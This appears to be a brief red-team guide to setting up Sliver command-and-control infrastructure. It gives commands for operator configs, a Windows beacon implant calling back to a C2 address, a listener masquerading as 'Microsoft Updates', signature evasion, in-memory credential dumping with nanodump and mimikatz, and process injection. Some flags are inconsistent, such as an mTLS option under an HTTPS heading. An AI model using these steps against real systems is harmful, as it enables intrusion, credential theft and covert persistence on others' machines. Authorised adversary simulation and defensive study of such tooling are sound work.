Sliver C2 Infrastructure
Sliver is an open-source, cross-platform adversary simulation tool developed by Bishop Fox. Built in Go, it features secure communications, dynamic implant generation, and a collaborative multi-user console.
Installation & Server Configuration
We host the Sliver server on an isolated Ubuntu VPS. To manage multi-user access, we generate client profiles:
# Start server in daemon mode
sliver-server daemon
# Generate client config for operator
sliver-server operator --name operator58 --lhost 10.0.0.5 -save operator58.cfg
Operators import operator58.cfg into their local client console:
sliver -config operator58.cfg
Implant Generation & Evasion
Sliver implants support standard dynamic compilation. To evade signatures, we use custom compile-time flags and symbol obfuscation.
Generating a HTTPS Beacon Implant
# Generate HTTPS implant with custom parameters
generate --mtls 10.0.0.5:8888 --os windows --arch amd64 --format exe --save /tmp/beacon.exe
For advanced evasion, we configure mTLS or HTTPS listeners with customized profiles matching standard web applications:
# Start listener with custom HTTP headers mimicking Microsoft updates
https --lport 8443 --website-name "Microsoft Updates"
Post-Exploitation Capabilities
Sliver provides rich in-memory post-exploitation tools:
- Extensions: Integrate standard tools like
nanodump,mimikatz, orsharpseclistdirectly in memory without touch-to-disk. - Armory: Automatically retrieve and build extensions:
armory install nanodump - Process Injection: Inject shellcode or DLLs into remote processes:
sliver > migrate --pid 1048